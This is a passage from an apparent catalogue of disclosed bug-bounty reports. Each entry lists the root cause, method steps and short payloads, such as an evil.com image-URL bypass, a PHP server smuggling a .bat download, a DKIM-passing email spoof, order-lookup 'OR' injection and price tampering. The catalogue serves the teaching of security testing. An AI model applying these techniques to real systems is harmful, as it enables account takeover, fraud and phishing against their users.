- Confirm the browser issues a direct GET to your host (Network tab) - trackers/IP now leak.
<img src="\/\www.evil.com">
# rewriter's leading-`//` check misses it; browser fetches //www.evil.com
Insight — Browsers normalize backslashes to forward slashes in URLs, so `\/\`, `/\`, `\\` bypass naive `//`-prefix blacklists in image proxies, open-redirect filters, and SSRF/URL validators. Always fuzz backslash variants against URL allow/deny logic.
Real-world example
Reserved/route-like username not blacklisted (namespace collision)
◆ Medium
Specimen #128121 · gratipay · awarded · 15 votes · resolved
Program gratipaySurface webTag subdomain-takeover
Root cause
Username registration does not reserve names that collide with application routes or system keywords, so a chosen username can shadow or map to a functional path.
Method
- Enumerate application top-level routes/keywords (admin, api, static, payout, version strings).
- Register a username matching one (e.g. 1.0-payout).
- Observe the profile URL colliding with / shadowing the reserved path.
Register username: 1.0-payout -> https://gratipay.com/1.0-payout/ resolves to attacker profile
Insight — Whenever usernames become URL path segments, test reserved-word and route-collision names; they can hijack routing, break features, or enable spoofing.
Real-world example
Bypass email-confirmation gate to mint dev-store access token
◆ Medium
Specimen #633371 · shopify · none · 13 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The email-verification requirement is enforced only in the primary UI flow; a secondary signup-object endpoint issues a valid affiliate access token to unverified partner accounts, which a cross-service signup endpoint then accepts.
Method
- Register partner account, do NOT confirm email
- GET /<partnerId>/stores/signup_object/dev_store on partners.shopify.com to obtain affiliate_shop access token
- POST /services/signup/create on app.shopify.com with that token to create the store
GET /1234/stores/signup_object/dev_store HTTP/1.1
Host: partners.shopify.com
# response contains {"extra":{"affiliate_shop":"<access_token>"},...}
POST /services/signup/create HTTP/1.1
Host: app.shopify.com
...signup%5Bextra%5D%5Baffiliate_shop%5D=<access_token>&signup%5Bextra%5D%5Borganization_id%5D=1234&signup%5Bsignup_types%5D%5B%5D=affiliate_shop
Insight — State gates (email confirmed, phone verified, KYC done) are often checked only on the happy-path UI. Enumerate sibling/backend endpoints that issue tokens or perform the same privileged action and replay them from the un-gated state.
Real-world example
Blocklist bypass via trailing-dot FQDN
◆ Medium
Specimen #1068505 · brave · awarded · 12 votes · resolved
Program braveSurface mobile-ios
Root cause
The safe-browsing blocklist match compares the raw hostname without normalizing the fully-qualified trailing dot, so host.com is blocked but the equivalent host.com. (which browsers resolve identically) is not.
Method
- Take a blocked domain from the malware/phishing list
- Append a trailing dot to the hostname
- Navigate to the trailing-dot URL -> blocklist misses it, page loads
http://3e1.cn/ -> blocked
http://3e1.cn./ -> NOT blocked (same site)
Insight — Host-based allow/block/CSP/SSRF filters often skip DNS-equivalent forms: trailing dot, uppercase, added port, IDN/punycode, extra label. Fuzz these normalizations against any hostname denylist.
Real-world example
HTTP Parameter Pollution: GET query param overrides POST body in password change
◆ Medium
Specimen #96636 · snapchat · $1500 · 12 votes · resolved
Program snapchatSurface webChain HPP precedence -> attacker sets victim password -> accTag account-takeover
Root cause
The server merges GET and POST parameters and prefers the GET value on collision. On the change-password action, attacker-controlled query-string newpassword values override whatever the user typed in the form.
Method
- Craft the change-password URL with newpassword/newpassword2 in the query string set to an attacker-known value
- Get the victim (username known) to open the URL and complete the form (enter current password / solve CAPTCHA)
- The account password is set to the attacker's query-string value, not the form value
https://accounts.TARGET.com/accounts/change_password?newpassword=ATTACKERPASS&newpassword2=ATTACKERPASS
Insight — When a server can't distinguish GET vs POST params (and prefers GET), any state-changing POST can be steered via query string. Test parameter precedence on sensitive actions (password/email change) by supplying the same param in both locations with different values.
Real-world example
Option-interaction file-deletion: --no-clobber + --remove-on-error deletes the wrong file (CVE-2022-27778)
◆ Medium
Specimen #1553598 · curl · none · 11 votes · resolved
Program curlSurface other
Root cause
When --no-clobber renames the output to foo.1 to avoid overwriting an existing foo, the --remove-on-error cleanup path still unlinks the ORIGINAL target name (foo) rather than the actually-written file, because the unlink uses the pre-clobber name.
Method
- Create an existing important file: echo x > foo
- Run a transfer that will error (attacker stalls/drops the connection)
- curl --no-clobber --remove-on-error --output foo <url> writes foo.1, errors, then deletes foo (the pre-existing file)
echo "important file" > foo
echo -ne "HTTP/1.1 200 OK\r\nContent-Length: 666\r\n\r\nHello\n" | nc -l -p 9999
curl -m 3 --no-clobber --remove-on-error --output foo http://testserver.tld:9999/
# result: original foo deleted, partial foo.1 left
Insight — Two independently-safe features can compose into a destructive primitive when one operates on the intended name and the other on the derived name. When a tool has both a 'don't overwrite' and a 'clean up on failure' mode, test them together and check which filename each acts on. An attacker who can force the transfer error (DoS the connection) triggers deletion.
Real-world example
Download smuggling: Content-Type/Disposition + Referer trick delivers .bat via WebTorrent
◆ Medium
Specimen #963155 · brave · awarded · 11 votes · resolved
Program braveSurface webChain header/redirect trick -> torrent UI writes .bat -> cliTag file-upload
Root cause
Brave's WebTorrent decides a resource is a torrent from Content-Disposition/Content-Type headers; a server can return a benign torrent response only when a Referer is present and otherwise serve an executable (.bat) with a spoofed disposition, so the 'Save .torrent file' UI actually downloads/writes attacker code to the client.
Method
- Host a server that branches on the Referer header (or redirect state) to serve either a fake .torrent or a .bat
- Get the victim to open the resource via WebTorrent (extension scheme forces treatment as torrent, or interrupt a redirect)
- Victim uses 'Save .torrent file'; a .bat is written and, when run, executes
<?php
if(isset($_SERVER['HTTP_REFERER'])){
header("Content-Disposition: attachment; filename='PoC.torrent'; filename*=UTF-8''PoC.torrent");
header("Content-Type: application/octet-stream");
} else {
header("Content-Disposition: attachment; filename='PoC.bat'; filename*=UTF-8''PoC.bat");
header("Content-Type: application/x-bat");
echo "@echo off\nSTART C:\\Windows\\NOTEPAD.EXE";
}
// redirect-abuse variant (975514): force chrome-extension://.../brave_webtorrent.html?http://site?x=.torrent to open source before a redirect resolves
Insight — Client features that classify/handle a download by attacker-controlled response headers can be abused to smuggle a different filetype than the UI implies (torrent -> .bat). Test header-based content sniffing with a server that varies output by Referer/redirect state. Also treat extension-scheme handlers that re-open arbitrary URLs (chrome-extension://.../x.html?URL) as forced-navigation/interruption primitives.
Real-world example
Client-side-only validation bypass via request/response tampering
◆ Medium
Specimen #420583 · infogram · none · 11 votes · resolved
Program infogramSurface webTag account-takeover
Root cause
A mandatory signup/profile constraint is enforced only in the browser; the backend does not re-validate, so intercepting and rewriting the request (dropping fields) or the server's error response (400 -> 200) completes the flow with the constraint violated.
Method
- Reach a step that enforces a required field / policy in the UI
- Intercept the submit; strip the required fields (or send a policy-violating value)
- If the server returns an error, intercept the RESPONSE and rewrite status 400 -> 200 and drop the error body
- Forward; account/action is created in the invalid state
# request tamper: remove first_name & last_name from body, forward
# response tamper (Burp match/replace on response):
HTTP/1.1 400 Bad Request -> HTTP/1.1 200 OK
Insight — Never trust that a rule shown in the UI is enforced server-side. Test by (a) deleting the field, (b) sending an out-of-policy value, and (c) rewriting the server's rejecting response. Also seen as password-policy bypass (#1675730): intercept and set a weak password the frontend would reject.
Real-world example
Permanent DoS via unverified email change + unique-email invite collision
◆ Medium
Specimen #1041173 · automattic · awarded · 11 votes · resolved
Program automatticSurface webChain unverified email change -> unique-email invite collision Tag account-takeover
Root cause
Users can change their email without verification; setting a victim/target email (or a poisoned value) so that an admin's invite of that email always fails, permanently blocking the admin from inviting/adding those users to the org.
Method
- From a normal account, change email (no verification) to the address an admin will invite
- As admin, invite that email to the org -> request fails
- Repeat for other target emails; each invite is permanently blocked, denying org onboarding
PUT /preferences email=boy_child@wearehackerone.com (no verification)
# then admin: Invite team members -> boy_child@wearehackerone.com -> fails permanently
Insight — Where email is a unique key AND changeable without verification, an attacker can 'squat' addresses to break invite/registration flows for others. Test uniqueness-constraint collisions (email, username, handle) combined with missing verification for persistent, targeted DoS.
Real-world example
Bypass documented restriction via direct GraphQL mutation
◆ Medium
Specimen #965510 · shopify · awarded · 11 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A business rule enforced only in the UI (dev-store password page removable only after upgrade) is not enforced server-side; the GraphQL PreferencesSave mutation accepts passwordProtection.enabled=false directly.
Method
- Create a development store (restricted plan)
- Open Online Store > Preferences and intercept a save
- Change/replay the GraphQL PreferencesSave with passwordProtection.enabled=false
- Store is now public despite the plan restriction
GraphQL operation: PreferencesSave
{ ... passwordProtection: { enabled: false } ... }
Insight — When docs say an action is only allowed under some condition, hit the underlying API/GraphQL mutation directly -- server-side enforcement is often missing. Diff the mutation payload and flip the guarded boolean.
Real-world example
Bypass an approval workflow by calling a sibling endpoint that skips the permission check
◆ Medium
Specimen #423546 · shopify · awarded · 10 votes · resolved
Program shopifySurface web
Root cause
Shopify Wholesale can disable direct checkout so orders require staff approval (purchase orders). The approval-gated action forces PUT /purchase_orders/submit, but the sibling /purchase_orders/update_checkout endpoint performs the checkout without re-checking the customer's checkout permission, bypassing approval and any max-checkout cap.
Method
- As a restricted wholesale customer, fill a cart; the UI forces a purchase-order submit
- Intercept PUT /purchase_orders/submit and change the path to /purchase_orders/update_checkout
- Order proceeds through normal checkout, skipping approval and amount limits
PUT /purchase_orders/submit -> PUT /purchase_orders/update_checkout
Insight — When one action is permission-gated, enumerate adjacent endpoints in the same controller (update_checkout, complete, confirm). Authorization is often attached to the 'front-door' route but missing on functionally-equivalent siblings.
Real-world example
Client-side-only limit on order modifiers bypassed via request tampering
◆ Medium
Specimen #361960 · upserve · USD 500 · 10 votes · resolved
Program upserveSurface web
Root cause
The maximum number of selectable sides/modifiers per item is enforced only in front-end JavaScript; the server does not validate the count in the order request, so an intercepted request can include more modifiers than allowed.
Method
- Add an item that allows only N modifiers, proceed to checkout
- Intercept the order request and append additional side objects to the sides array beyond N
- Server accepts the order with the extra modifiers
"sides":[{"id":"...","name":"Brussel Sprouts","price_cents":0,...},{"id":"...","name":"Asparagus",...},{"id":"...","name":"Mashed Potatoes",...}] // 3 sides where max is 1
Insight — Any quantity/limit shown as a UI constraint (max quantity, max modifiers, one-per-customer) must be re-checked server-side. Standard test: intercept and exceed the count/array length and confirm the backend accepts it.
Real-world example
Trusted-infra email relay: client-composed email endpoint sends arbitrary DKIM/SPF-passing mail
◆ Medium
Specimen #1067276 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface api
Root cause
An AngularJS frontend composes account-request / password-reset emails client-side and PUTs to/from/subject/text to a public endpoint that validates none of them; because the mail leaves trusted servers on the SPF/DKIM whitelist, an attacker sends fully arbitrary, authenticated-looking email.
Method
- Locate the public email endpoint the SPA posts to (to/from/subject/text params)
- Send a PUT with attacker-chosen from/to/subject/body
- Email is delivered from the org's servers, passing DKIM and SPF -> high-fidelity spear phishing
curl -X PUT --data '{"from":"Email POC <poc@example>","to":"YOUREMAIL","subject":"Test","text":"This is a test."}' -k https://REDACTED-ENDPOINT -H 'Content-type: application/json'
Insight — When a SPA composes an email/notification body client-side and posts it to a send endpoint, the server is trusting the browser to be honest. Look for /send, /notify, /contact, /invite endpoints taking from/subject/body; abusing trusted mail infra makes phishing pass SPF/DKIM. Fix: compose the message server-side, endpoint takes only opaque IDs.
Real-world example
Wallet DoS: malformed RingCT transaction freezes victim's ability to sweep balance
◆ Medium
Specimen #506496 · monero · none · 9 votes · resolved
Program moneroSurface other
Root cause
A modified wallet can craft a transaction whose RingCT ecdhInfo mask/amount is set to an invalid value (e.g. MONEY_SUPPLY); the recipient's wallet accepts and indexes the output but later fails an internal consistency check when sweeping ('Daemon response did not include the requested real output'), blocking spends until a rescan.
Method
- Patch a Monero wallet to set rv.ecdhInfo[i].amount = d2h(MONEY_SUPPLY) in rctSigs.cpp
- Send any amount from the attacker wallet to the victim's public address
- Victim wallet shows 0 XMR for the tx but sweep-all now errors; only fixed by patch + rescan
// rctSigs.cpp L803
rv.ecdhInfo[i].amount = d2h(MONEY_SUPPLY);
// fix in wallet2.cpp: if (!tx_scan_info.money_transfered) { return; } before outs.push_back(i);
Insight — Protocol clients that accept attacker-crafted inputs into local state (wallets ingesting inbound txs, message parsers) can be wedged by malformed-but-parseable values that pass initial checks and fail later invariants. The recipient needs only a public identifier. Validate/skip zero-value or out-of-range outputs at scan time.
Real-world example
Client-side-only validation bypassed via response tampering
◆ Medium
Specimen #963546 · dropcontact · none · 8 votes · resolved
Program dropcontactSurface web
Root cause
A business rule (must register with a professional/non-public email domain) is enforced only in the frontend; the backend does not re-check, so editing the HTTP response (or crafting the request directly) lets a gmail/public-domain email through.
Method
- Attempt the restricted action; observe the check is client-side (JS or a response flag)
- Intercept and modify the server response that gates the UI (or send the request directly)
- Backend accepts the value the frontend would have blocked
# intercept response of the validation call and flip the 'allowed' flag,
# or POST the registration directly with email=attacker@gmail.com
Insight — Any rule you can see enforced in JS is a candidate: replay the request directly or tamper the gating response. Confirm every client-side restriction (email domain, price, role, quantity) is re-validated server-side.
Real-world example
CAPTCHA answer reusable (not invalidated after solve)
◆ Medium
Specimen #223324 · weblate · none · 8 votes · resolved
Program weblateSurface web
Root cause
A solved CAPTCHA (captcha answer + captcha_id pair) is not invalidated server-side after use, so the same pair can be replayed to register/submit repeatedly, defeating the anti-automation control.
Method
- Solve the CAPTCHA once and capture the request (captcha + captcha_id)
- Replay the same registration request with the same captcha/captcha_id
- It succeeds again -> automate mass account creation
POST /accounts/register/
...&captcha=16&captcha_id=c5c64ac6...OCAqIDI%3D # replay unchanged
Insight — Test whether a CAPTCHA (or OTP/nonce) is single-use: solve once, then replay the same token N times. Server must bind and invalidate the token on first use; if not, the CAPTCHA provides no protection.
Real-world example
Browser protocol-handler permission bypass (url: prefix + global remember)
◆ Medium
Specimen #416040 · brave · USD 150 · 8 votes · resolved
Program braveSurface desktop
Root cause
Brave's 'remember this decision' for external protocol launches was scoped globally (all origins, not per-site), and prefixing a scheme with url: (e.g. url:mailto:) bypassed the protocol allowlist prompt, letting any site auto-launch external apps (mailto, bitcoin, ssh, telnet) without consent.
Method
- Trigger an external protocol (e.g. bitcoin:) and check 'Remember this decision' -> Allow
- Navigate to any other origin; the handler now launches with attacker-controlled params, no prompt
- For blocked schemes, prefix with url: (window.open('url:mailto:...')) to slip past the allowlist
- Loop via delayed iframes to spawn many handlers (DoS)
window.open("bitcoin:" + address + "?amount=" + amount, "loader");
// scheme-filter bypass:
window.open("url:mailto:" + address + "?amount=" + amount, "loader");
// DoS: fire every 300ms across schemes
Insight — Test custom-protocol / external-app launch flows for (a) per-origin vs global scope of a 'remember' grant and (b) scheme-filter bypass via prefixes/wrappers (url:, //, whitespace, case). Auto-launch of ssh:/telnet:/bitcoin: is a real phishing/DoS primitive.
Real-world example
Order-lookup boolean 'OR' -> cross-customer order access & enumeration
◆ Medium
Specimen #1017576 · shopify · awarded · 8 votes · resolved
Program shopifySurface api
Root cause
Shopify Chat order_lookup matches an order by email+order_number without validating order_number as a scalar. Supplying 'N OR M' (or a long OR list) makes the backend match any of several orders, returning the first matching order's status link for an arbitrary customer email and enabling order-number enumeration.
Method
- Open {shop}.myshopify.com/?chat and start 'I need an update on my order'
- Intercept the POST to /api/storefront/conversations/{id}/order_lookup
- Set email to the victim customer; set order_number to '1 OR 2' to return their first order regardless of number
- Set order_number to a long 'OR' list (e.g. '1000 OR 1001 OR ...') and peel results one at a time to enumerate
{"order_lookup":{"email":"victim@example.com","order_number":"1 OR 2"}}
// enumeration:
{"order_lookup":{"email":"victim@example.com","order_number":"1000 OR 1001 OR 1002 OR 1003 OR 1004"}}
Insight — When a lookup takes a value that is compared server-side, inject boolean/SQL-ish operators ('OR','AND',ranges,wildcards) into the 'number' field. Even if it is not full SQLi, an unvalidated OR that loosens the match is enough to break the per-record scoping and enumerate. Add rate-limiting-absence to the impact.
Real-world example
IDOR + price manipulation to buy/download not-for-sale content
◆ Medium
Specimen #78253 · ok · awarded · 7 votes · resolved
Program okSurface webChain tid IDOR -> not-for-sale item selectable -> price tampTag webhook
Root cause
The song purchase flow trusts a client-supplied track id (tid) and price with no server-side check of whether the track is purchasable; swapping tid to a not-for-sale track and forcing a low/zero price lets an attacker buy and download restricted content.
Method
- Observe the purchase request GET /isDownloaded?tid=<id> returning price/isBought for a purchasable track.
- Change tid to a track that is not offered for sale; the backend processes it anyway (no is-purchasable flag check).
- Zero price is rejected by the payment gate, so tamper the returned price to 1 unit, complete purchase, then download.
GET /isDownloaded;jsessionid=...?tid=<TARGET_TRACK_ID>
Insight — On any buy/unlock flow, test whether the item identifier and price are independently trusted: swap the id to a restricted/not-for-sale object and tamper the price. Missing 'is this item sellable to this user' checks are common. Same paid-feature-abuse pattern as free VIP gifts on the same platform.
Real-world example
Message impersonation by hiding a leading sequential message via CSS class
◆ Medium
Specimen #1379645 · rocket_chat · none · 7 votes · resolved
Program rocket_chatSurface webChain client-controlled customClass -> CSS hide leading messageTag webhook
Root cause
Rocket.Chat collapses author/timestamp for consecutive messages from the same user; because the client accepts a message customClass/className, an attacker can send a first message with a hiding CSS class then a second real message, so the visible second message renders under the previous author's identity.
Method
- Send a message with customClass set to a class that hides it (e.g. rc-popover).
- Immediately send the message you want to spoof, in the same room.
- The sequential-message renderer shows the visible message under the prior author, so it appears written by someone else.
const rid="<ROOM_ID>";
Meteor.call("sendMessage",{msg:"will be hidden",rid,customClass:"rc-popover"},()=>
Meteor.call("sendMessage",{msg:"This was written by somebody else",rid}));
Insight — Any chat/comment UI that suppresses repeated author info for consecutive same-author messages plus lets the client control per-message CSS classes is spoofable: hide the leader, and the follower inherits the previous author's identity. Test client-controllable style/class fields for CSS-injection-driven UI deception.
Real-world example
Client-side email-domain registration restriction bypass
◆ Medium
Specimen #875049 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Registration accepted only certain email domains, but the domain check was effectively client-side/pre-submit; intercepting the request and swapping the email after passing validation let a disallowed email register.
Method
- Start registration with an accepted (e.g. .gov) email and valid fields
- Intercept the submit request
- Change the email to a non-accepted address
- Forward; account registers with the disallowed email
POST /register
... email=allowed@agency.gov -> change to email=attacker@gmail.com
Insight — Any allow-list validated before the final submit is bypassable by request tampering. Re-test every client-enforced constraint (email domain, price, role) by editing the intercepted request.
Real-world example
TLS/mTLS connection reuse keyed on incomplete config -> wrong identity/security
◆ Medium
Specimen #1555796 · curl · none · 6 votes · resolved
Program curlSurface otherTag account-takeover
Root cause
curl's connection-reuse predicate compares only a subset of connection parameters, so a pooled connection is reused for a later request that specifies different security options or credentials, silently downgrading security or inheriting another identity (CVE-2022-27782 and follow-ups).
Method
- Configure two transfers to the same host sharing a connection pool (curl_share / multi).
- Give them differing security-relevant options not in the reuse key (SSL_OPTIONS, CRLFILE, revocation, or mTLS key/passwd/type).
- Second transfer reuses the first connection -> its own (stricter or different) settings/credentials are never applied.
curl -v --ssl-no-revoke --ssl-allow-beast https://host:9443 -: https://host:9443
# 2nd request reuses conn 1, ignoring changed CRL/revocation settings
Insight — Auditing connection/session pooling: the reuse key MUST include every security-affecting attribute (client cert, key, passphrase, CRL, verify mode, zone index). Missing fields -> a low-privilege/wrong-credential handle rides a higher-privilege authenticated connection. In mTLS RBAC apps this is cross-identity impersonation.
Real-world example
Cart/order price and item-id tampering for free goods
◆ Medium
Specimen #321938 · eternal · awarded · 6 votes · resolved
Program eternalSurface web
Root cause
The order API accepts the full cart JSON (item_id, unit_cost, total_cost, aggregate total) from the client and trusts those values instead of recomputing server-side; swapping a paid item's id for a zero-priced variant and adjusting the totals yields the item for free.
Method
- Add a paid item (Zomato Treats membership, item_id 3, cost 149) plus filler items to meet minimum order
- Intercept POST /php/o2_handler.php (case=makeonlineorder)
- Fuzz item_id values to discover a zero-priced variant of the same product (found item_id 18 = free Treats)
- Change item_id 3->18, set its unit_cost/total_cost to 0, and subtract 149 from the order's total_cost field
- Complete payment; the free treat is delivered without the subscription
POST /php/o2_handler.php
case=makeonlineorder&res_id=<id>&order=<json>
..."item_id":18,"item_name":"Zomato Treats Membership",...,"unit_cost":0,"total_cost":0,...
(total_cost of order object lowered from 254.32 to 105.32)
Insight — On any e-commerce/order flow, test whether price, quantity, item identity and the order total are validated/recomputed server-side or copied from the request body. Enumerating item_ids often surfaces free/internal variants of a paid SKU; combine id-swap with client-side price fields to buy at zero cost.
Real-world example
Invite-code enumeration via GET with no rate limit + inviter info leak
◆ Medium
Specimen #144616 · uber · 750 · 4 votes · resolved
Program uberSurface webChain invite-code enumeration -> free credit / mass account cre
Root cause
The partner join page validates invite codes via a GET parameter with no rate limiting or captcha and returns a differential HTML response for valid codes, allowing bulk brute-force enumeration of money-bearing invite codes and leaking the inviter's name and profile photo.
Method
- Identify the code-check endpoint: GET /join/?invite_code=CODE
- Confirm a valid code returns a distinctive marker (e.g. <p class="delta flush"> / inviter name+photo) vs invalid
- Brute-force the code space (numeric, prefix+numeric like uber1..uberN) with no throttling
- Harvest valid codes (some carrying signup bonuses) and scrape leaked inviter name/photo from the HTML
GET /join/?invite_code=uber3958 HTTP/1.1
Host: partners.uber.com
# valid -> page contains inviter's name + <img src=...photo> and <p class="delta flush">
Insight — Any referral/invite/coupon code checked via an unauthenticated GET with a differential response is an enumeration oracle - script it and diff the response body. Beyond free value, such pages often reflect the inviter's PII (name, photo, upload date from the image path), turning enumeration into a data-harvesting primitive.
Real-world example
Stale request state (PUT->POST) sends wrong body to wrong host
◆ Medium
Specimen #1704017 · curl · none · 3 votes · resolved
Program curlSurface other
Root cause
Reusing a handle without clearing the previous upload flag makes a request intended as POST actually perform PUT, so the body comes from the old CURLOPT_READDATA buffer (or stdin) rather than the intended POSTFIELDS -> cross-host data leak / use-after-free of the old buffer (CVE-2022-32221, CVE-2023-28322).
Method
- Configure an easy handle for an upload/PUT to host1 with sensitive READDATA.
- Reuse the same handle for a POST to host2 (set POSTFIELDS) without resetting CURLOPT_UPLOAD.
- Handle performs a PUT to host2 streaming host1's sensitive buffer (or freed memory).
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); /* PUT host1 secret */
... /* no CURLOPT_UPLOAD,0 reset */
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, otherdata); /* becomes PUT of host1 secret to host2 */
Insight — Reused client objects carry hidden state. When testing libraries/SDKs, look for mode flags (upload/method/body-source) that one call sets and the next does not clear -> sensitive data intended for host A leaks to host B, or freed buffers are re-read (UAF).
Real-world example
Moderation-workflow bypass: pending app reachable via direct preview URL
◆ Medium
Specimen #5933 · coinbase · 1000 · 3 votes · resolved
Program coinbaseSurface webChain pre-approval app access + unrestricted screenshot upload -&gTag file-upload
Root cause
An app submitted to the gallery sits in a 'pending review' state, but its preview object URL is directly accessible to other authenticated users before approval, so they can view, install, be redirected by, and review an unvetted (potentially malicious) app. Separately, the screenshot upload does not validate file type and accepts executables.
Method
- Create and submit an application to the gallery; it enters pending review.
- Grab the preview object URL (e.g. /apps/<id>) and send it to another user.
- Second user can open, install, get redirected by, and review the still-unapproved app.
- On the same submit flow, upload an .exe as a 'screenshot' — extension not validated.
https://coinbase.com/apps/53434ec9a280bd2c33000048 # accessible while app is still 'in review'
Insight — When a workflow has a 'pending approval' gate, test whether the object is reachable by its direct/preview URL before the gate clears. Moderation is often enforced only on the listing page, not on the object endpoint. Always also probe adjacent upload fields for missing content-type/extension validation.
Real-world example
Account registration with unverified/fabricated identity (fake SSN/DOB)
◆ Medium
Specimen #204048 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
The account-creation flow accepts identity attributes (name, DOB, SSN) without validating them against an authoritative record, so an attacker can register an account for a nonexistent or arbitrary person.
Method
- Submit step 1 with fabricated identity: Last Name Doe, DOB JAN 1 2017, SSN 123-45-6789.
- Server returns {"status":1,"message":"Success!"} accepting the identity.
- Complete step 2 with chosen credentials; account is created and confirmed via the forgot-password/reset flow and a received email.
POST /cc/account_creation/step1_submit HTTP/1.1
Host: ████
form=[{"name":"last_name","value":"Doe"},{"name":"exp_date","value":"2017-1-1"},{"name":"ssan","value":"123456789","customType":"ssn"}]
Insight — On any registration/KYC flow that collects government identifiers, test whether the identifier is actually verified server-side. Acceptance of an invalid/nonexistent SSN+DOB combination means identities can be spoofed and the namespace polluted. (Fields here were also probed with XSS/SQL metacharacters, so also test stored-injection.)
Real-world example
Email-verification gate bypass by editing the login response (userInfo verified false->true)
◆ Medium
Specimen #765318 · stripo · none · 3 votes · resolved
Program stripoSurface webTag account-takeover
Root cause
The client decides whether the account is email-verified based on a boolean in the login/response JSON. Tampering the response to set the verified flag true unlocks gated functionality without ever verifying the email (reliance on client-controllable input for a security decision).
Method
- Register with a fresh unverified (fake) email; confirm gated features are blocked.
- Log in with Burp intercepting the server RESPONSE (not just request).
- In the login response body, flip the verified/emailValidated field in userInfo from false to true and forward.
- The 'email not validated' state clears and gated features (creating email templates) become available.
HTTP/1.1 200 OK
{ ... "userInfo": { ... "emailVerified": true /* was false */ ... } }
Insight — Any feature gated by a boolean in a response body is bypassable by response tampering. Test both request AND response manipulation; server must derive verification state from signed tokens/session, never trust a client-visible flag.
Real-world example
Privilege bypass by dropping a hidden POST flag (nullcast_flag)
◆ Medium
Specimen #31082 · x · awarded · 2 votes · resolved
Program xSurface webTag account-takeover
Root cause
A delegated user is limited to composing 'promoted-only' tweets, enforced only by a client-sent nullcast_flag=1 parameter. Removing the flag causes the backend to post a normal tweet on the owner's public timeline – an action the user was never granted.
Method
- As a delegated Ad Manager with 'compose promoted tweets' rights, capture the create_tweet request.
- Observe the promoted-only behavior is controlled by nullcast_flag=1 in the body.
- In Burp Repeater, delete nullcast_flag=1 and resend.
- A real tweet appears on the account owner's timeline, bypassing the promoted-only restriction.
POST /accounts/<id>/tweet_box/create_tweet?format=json HTTP/1.1
Host: ads.twitter.com
X-CSRF-Token: <redacted>
account=<id>&form_location=objective_creative_composer&tweet_text=test
# (nullcast_flag=1 removed to escalate from promoted-only to a real timeline tweet)
Insight — When a role restriction is expressed as a client-supplied flag/parameter, try removing, blanking, or flipping it. Permission scope must be enforced server-side from the actor's role, not from a request field the actor controls.
Real-world example
Negative-value manipulation of fee fields for financial loss
◆ Medium
Specimen #74147 · enter · awarded · 2 votes · resolved
Program enterSurface webTag account-takeover
Root cause
Buy Fee / Sell Fee settings accept negative numbers with no server-side bound check; because these override per-location settings, negative fees invert transfer economics and can cause financial loss.
Method
- Navigate to Operator Wallet settings -> Users -> select user -> settings -> select a kiosk.
- Save the fee config while intercepting the request; set Buy Fee and Sell Fee to negative values.
- Reload settings; the server echoes back the stored negative values, confirming they were accepted.
(intercepted save request) buy_fee=-100&sell_fee=-100
Insight — Always fuzz numeric/price/fee/quantity fields with negatives, zero, and overflow values. Missing lower-bound validation on money fields is a direct financial-logic flaw – confirm persistence by reading the value back.
Real-world example
Offline-computable request signature enables PIN brute-force; validation step leaks victim PII before full auth
◆ Medium
Specimen #75702 · enter · 250 · 1 votes · resolved
Program enterSurface apiChain offline signature forgery -> PIN brute-force -> pre-MFTag account-takeover
Root cause
The API request signature (HMAC-style Authorization header) is derived solely from the user PIN using a client-side algorithm the attacker can reproduce, so PIN entry has no server-side rate limit and can be brute-forced offline/online. Worse, the moment the correct PIN is submitted, the victim's full KYC record (verification documents, email, DOB) is attached to the attacker's operator wallet — a side effect that fires before the SMS/GA second factor is checked.
Method
- Register an operator account with your own apiKey/apiSecret/Location-ID.
- Target a victim by phone number in the Send Money flow.
- Reproduce the client signing routine (attachment calSignature.js) to generate a valid Authorization signature for each candidate PIN.
- Brute-force the PIN against /v0/cash/auth/login; on the correct PIN the victim's info/KYC docs are added to your wallet even though SMS/GA is still pending.
POST /v0/cash/auth/login HTTP/1.1
Host: api.romit.io
Authorization: Credential=<apiKey>, SignedHeaders=host;x-locale;x-location-id;x-request-date;x-session-id, Signature=<HMAC computed client-side from PIN via calSignature.js>
# iterate PIN 0000-9999, recompute Signature each attempt
Insight — When a request signature is computed entirely client-side from a low-entropy secret (PIN/OTP), the signature is not a rate-limit — attackers regenerate it per guess. Always look for auth side-effects that happen at the credential-check step before the second factor: data disclosure/state changes that leak before MFA completes are a common logic flaw.
Real-world example
Cross-client setting write resets a privacy toggle (state desync)
◆ Medium
Specimen #664038 · x · awarded · 177 votes · resolved
Program xSurface mobile-androidTag account-takeover
Root cause
Enabling 'protected tweets' on the web client was silently overwritten to unprotected when an unrelated notification setting was toggled in the Android app, because that client pushed a full settings object that reset the privacy flag.
Method
- Set the privacy/protected flag ON via web
- Toggle an unrelated setting in another client (mobile app)
- Observe the privacy flag reverted to OFF
Insight — When settings are edited from multiple clients, test whether one client's save overwrites a security/privacy flag it didn't intend to touch (full-object PUT clobbering a field). Privacy toggles that silently revert are real bugs.
Real-world example
Account pre-hijack: register + enable 2FA on an unverified email
◆ Medium
Specimen #649533 · moneybird · awarded · 149 votes · resolved
Program moneybirdSurface webChain unverified-email login -> 2FA lock -> permanent victimTag account-takeover
Root cause
The app lets a user log in and enable 2FA before verifying email ownership, so an attacker can pre-register a victim's email and lock 2FA onto it; when the victim later resets the password they still cannot log in.
Method
- Register an account with the victim's email (verification is sent but not required)
- Log in without verifying and enable 2FA
- Victim cannot register the email, and even after a password reset is blocked by attacker-controlled 2FA
Insight — Any state-changing/security setting reachable before email verification is a pre-hijack primitive. Test: does the app allow login, 2FA setup, or data creation on an unverified email? If so it becomes an account-squatting DoS.
Real-world example
Replay leave-survey with swapped team_handle to farm invites
◆ Low
Specimen #999789 · security · awarded · 322 votes · resolved
Program securitySurface web
Root cause
The Leave-Program survey submission (which fast-tracks a new invite) keyed off a client-supplied team_handle without verifying you actually left THAT program.
Method
- Leave any one private program and submit the survey; capture the request
- Repeat the request in Repeater changing team_handle to other private programs you are in
- was_successful:true -> new pending invites without leaving
POST leave-survey ... team_handle=<other_private_program>
Insight — When one workflow grants a reward (invite) as a side effect, check whether the identifier it acts on is client-controlled and can be swapped to a resource you didn't perform the prerequisite action on.
Real-world example
Invite-harvesting chain: security@ forwarding + leave fast-track
◆ Medium
Specimen #334205 · security · 2500 · 103 votes · resolved
